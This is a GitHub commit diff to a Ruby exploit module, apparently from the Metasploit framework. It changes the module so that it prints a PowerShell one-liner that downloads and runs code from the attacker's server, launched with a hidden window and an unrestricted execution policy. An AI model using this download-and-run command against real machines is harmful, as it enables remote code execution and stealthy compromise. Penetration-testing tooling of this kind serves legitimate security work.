We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent d1fdcff commit 6fab3f6Copy full SHA for 6fab3f6
modules/exploits/windows/misc/powershell_http_deliver.rb
@@ -52,9 +52,9 @@ def exploit
52
url = (datastore['SSL'] ? "https://" : "http://")
53
url += (datastore['SRVHOST'] == '0.0.0.0') ? datastore['LHOST'] : datastore['SRVHOST']
54
url += ":" + datastore['SRVPORT'].to_s + "/" + datastore['URIPATH']
55
- print_good("Run the following command in powershell:")
56
- print_line
57
- print_line("IEX (new-object net.webclient).downloadstring(\"#{url}\");")
+ download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
+ print_good(download_and_run)
+ print_good("powershell.exe -windowstyle hidden -noexit -NoProfile -ExecutionPolicy unrestricted -command \"#{download_and_run}\"")
58
print_line
59
super
60
end
0 commit comments